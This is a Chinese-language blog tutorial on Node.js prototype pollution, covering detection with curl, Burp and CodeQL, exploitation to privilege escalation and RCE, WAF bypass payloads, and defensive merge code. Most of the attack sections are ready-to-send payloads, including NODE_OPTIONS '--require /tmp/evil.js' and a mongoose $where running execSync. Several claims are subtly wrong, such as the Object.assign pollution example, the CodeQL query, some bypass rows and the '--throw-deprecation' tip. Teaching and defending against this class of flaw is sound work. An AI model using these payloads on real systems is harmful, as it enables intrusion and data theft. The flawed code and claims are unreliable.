PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全教程Node.js原型链污染Web安全

【教程】服务端原型链污染攻击实战:从Node.js检测到RCE全解析

📅 2026年6月19日 📁 Hermes Agent ⏱ 4 分钟

适合人群:有Web安全基础、了解JavaScript基本语法的渗透测试人员

前置知识:HTTP协议基础、JSON数据处理、Node.js基本概念

一、前置准备

工具清单

工具用途安装命令
Node.js v16+本地靶场运行apt install nodejs npm
Burp Suite请求拦截/重放官网下载
Prototype Pollution Scanner自动化检测npm install -g pp-detector
VS Code + CodeQL源码审计codeql CLI + 安全查询

靶场搭建


# 下载 vulnerable-node-app
git clone https://github.com/target-labs/prototype-pollution-lab.git
cd prototype-pollution-lab
npm install
npm start  # 监听 localhost:3000

二、核心原理

什么是原型链污染?

JavaScript 中每个对象都有一个内部属性 __proto__(正式名称为 [[Prototype]]),指向其原型对象。当访问对象上不存在的属性时,JavaScript 会沿着原型链向上查找:


// 原型链查找机制
let obj = { a: 1 };
console.log(obj.b);         // undefined
console.log(obj.toString);  // 找到 Object.prototype.toString
console.log(obj.__proto__); // Object.prototype

漏洞本质:当应用程序使用递归合并(如 lodash.merge$.extend)、Object.assign 或不安全的对象赋值时,攻击者可以通过在 JSON 中注入 __proto__constructor.prototype 属性,污染 Object.prototype,使所有后续对象继承恶意属性。


// 污染示例
let base = {};
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign(base, payload);

// 任意新对象都继承了 isAdmin: true
let user = {};
console.log(user.isAdmin); // true — 被污染!

与 XSS/SSRF 的区别

漏洞类型攻击目标影响范围修复难度
XSS客户端用户单用户会话低(转义输出)
SSRF服务端请求内网探测中(白名单)
原型链污染服务端运行环境全局所有对象高(深耦合代码)

三、实操步骤

Step 1:检测原型链污染(白盒/黑盒)

黑盒检测 — 请求中的 JSON 注入


# 测试普通端点,看是否返回 __proto__ 字段
curl -X POST http://target.com/api/user/update \
  -H "Content-Type: application/json" \
  -d '{"name":"test","__proto__":{"isAdmin":true}}'

# 检查响应中是否有 isAdmin 字段

黑盒检测 — Burp Intruder 自动化


Payload 模板 1: {"__proto__":{"polluted":"true"}}
Payload 模板 2: {"constructor":{"prototype":{"polluted":"true"}}}
Payload 模板 3: {"__proto__":{"__proto__":{"polluted":"true"}}}

在 Burp Repeater 中发送后,用另一个请求测试:


curl http://target.com/api/status  # 如果响应中包含 "polluted":"true" 则存在污染

白盒检测 — CodeQL 查询


import javascript

from CallExpr ce
where ce.getCalleeName() = "merge" or ce.getCalleeName() = "assign"
  // 检查是否使用不安全的目标对象
  and exists(DataFlow::ParameterNode p |
    p = ce.getArgument(0) and p.getParameter().getBinding().isUnbound())
select ce, "Potential prototype pollution sink"

Step 2:利用原型链污染实现 RCE

关键是找到属性注入 + 属性触发的组合。常见 RCE 入口:

案例 — 通过 child_process.exec 触发


// 污染 exec 的 shell 属性
POST /api/merge HTTP/1.1
Content-Type: application/json

{
  "__proto__": {
    "shell": "node",
    "argv0": "node",
    "NODE_OPTIONS": "--require /tmp/evil.js"
  }
}

案例 — 通过 evalFunction 构造器


// 如果应用使用 [].constructor.constructor 动态创建函数
// 污染 prototype 后,所有函数继承恶意代码
{
  "__proto__": {
    "valueOf": "while(true){};"
  }
}

案例 — MongoDB NoSQL 注入与原型链结合


// mongoose 的 find 操作
{
  "__proto__": {
    "$where": "1;require('child_process').execSync('id')"
  }
}

Step 3:常用工具链

pp-detector — 自动化扫描工具


# 安装
npm install -g pp-detector

# 扫描目标
pp-detector scan https://target.com --endpoints /api/merge,/api/config

# 输出
[+] Testing /api/merge with __proto__
[!] VULNERABLE: Object.prototype.isAdmin set to true
[+] Testing /api/merge with constructor.prototype
[!] VULNERABLE: Object.prototype.polluted detected

Burp Suite 插件:Prototype Pollution Scanner:在 BApp Store 中搜索安装,自动检测所有 JSON 端点。

四、绕过技术

4.1 绕过 `__proto__` 关键字过滤

如果 WAF 过滤了 __proto__ 字符串,使用以下变种:

绕过方式Payload说明
constructor.prototype{"constructor":{"prototype":{"x":1}}}绕过字符串黑名单
嵌套编码{"__pro__":{"__proto__":{"x":1}}}部分递归合并会解嵌套
数组索引[{"__proto__":{"x":1}}]遍历数组合并时触发
双 __proto__{"__proto__":{"__proto__":{"x":1}}}部分库只检查第一层
toString 替代{"__pro\u0074o__":{"x":1}}Unicode 编码绕过

4.2 绕过深度合并检查


// 一些库使用 Object.create(null) 创建无原型的对象来防御
// 绕过方法:使用 constructor.prototype 路径
let safe = Object.create(null);
let evil = JSON.parse('{"constructor":{"prototype":{"isAdmin":true}}}');

// 某些实现会检查 key !== "__proto__" 但忘记检查 constructor.prototype
for (let key in evil) {
    // 只检查了 '__proto__'
    if (key === '__proto__') continue;
    safe[key] = evil[key];  // 👈 设置了 safe.constructor,指向 Object
}
// safe.constructor.prototype.isAdmin = true ✅

五、实战案例复盘

案例:某 Node.js API 网关提权

目标:某云平台 Node.js 后端 API 网关(脱敏处理)

发现过程

  1. 查看 JS bundle 发现使用了 lodash.merge 处理用户配置
  2. 发送 payload:POST /api/merge-config {"__proto__":{"isAdmin":true}}
  3. 发现后续所有请求的 req.user.isAdmin 返回 true
  4. 访问管理接口 /api/admin/users 获取管理员权限

攻击链


JSON注入 → 原型链污染 → Object.prototype.isAdmin=true → 权限绕过 → 全量数据导出

关键 payload


POST /api/merge-config HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "__proto__": {
    "isAdmin": true,
    "userLevel": "Administrator"
  }
}

修复:使用 Object.create(null) + 深度合并中过滤 __proto__constructor 属性。

六、防御建议

代码层防御


// ❌ 不安全
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key];
    }
}

// ✅ 安全:过滤原型属性
function safeMerge(target, source) {
    for (let key in source) {
        if (key === '__proto__' || key === 'constructor') continue;
        if (key === 'prototype') continue;
        target[key] = source[key];
    }
}

// ✅ 更安全:使用无原型对象
const config = Object.create(null);

// ✅ 使用 lodash 4.17.21+(已修复)
const _ = require('lodash');
_.merge(target, source);  // 新版自动过滤 __proto__

工具层检测


# ESLint 插件检测
npm install eslint-plugin-security
# .eslintrc
# "plugins": ["security"],
# "rules": { "security/detect-object-injection": "error" }

# Node.js 运行时检测
node --throw-deprecation  # 将 __proto__ 使用转为异常

七、常见陷阱

陷阱说明解决方法
忽略 JSON.parse 后的对象JSON.parse(input) 直接返回普通对象Object.create(null) 包裹
只检查 __proto__ 不检查 constructor绕过:constructor.prototype检查所有原型链相关 key
Object.assign 只复制自有属性Object.assign({}, obj) 安全?不一定注意后续 merge 操作
认为只有 Node.js 受影响浏览器端也存在,只是影响较小全栈防御
忽略第三方库的间接 mergenpm 包内部使用了 mergenpm audit 检查

八、总结

速查表

阶段命令/工具关键参数
检测Burp → JSON 端点__proto__ / constructor.prototype
检测pp-detectorpp-detector scan https://target.com
利用权限提升{"__proto__":{"isAdmin":true}}
利用RCE (child_process){"__proto__":{"shell":"node"}}
绕过constructor.prototype{"constructor":{"prototype":{"x":1}}}
防御lodash ≥ 4.17.21自动过滤 __proto__
验证obj.polluted === undefined检查是否被污染

核心要点

  1. 原型链污染 = 全局变量注入 — 一旦成功,影响整个运行时的所有对象
  2. JSON 端点 ≠ 安全 — 任何 JSON.parse + 递归赋值都是潜在入口
  3. 组合攻击 — 原型链污染 + XSS/SSRF/NoSQL 注入可形成完整攻击链
  4. npm audit 必做lodash.merge 在 CVE-2018-3721 后修复,CVE-2020-28502 再次修复

实际攻防中,原型链污染往往是大型 Node.js 项目中"最先被忽视、最晚被发现"的漏洞。多检查项目的 package.json 中的 merge/cloneDeep/extend 用法——那里常藏着金矿。

← 返回首页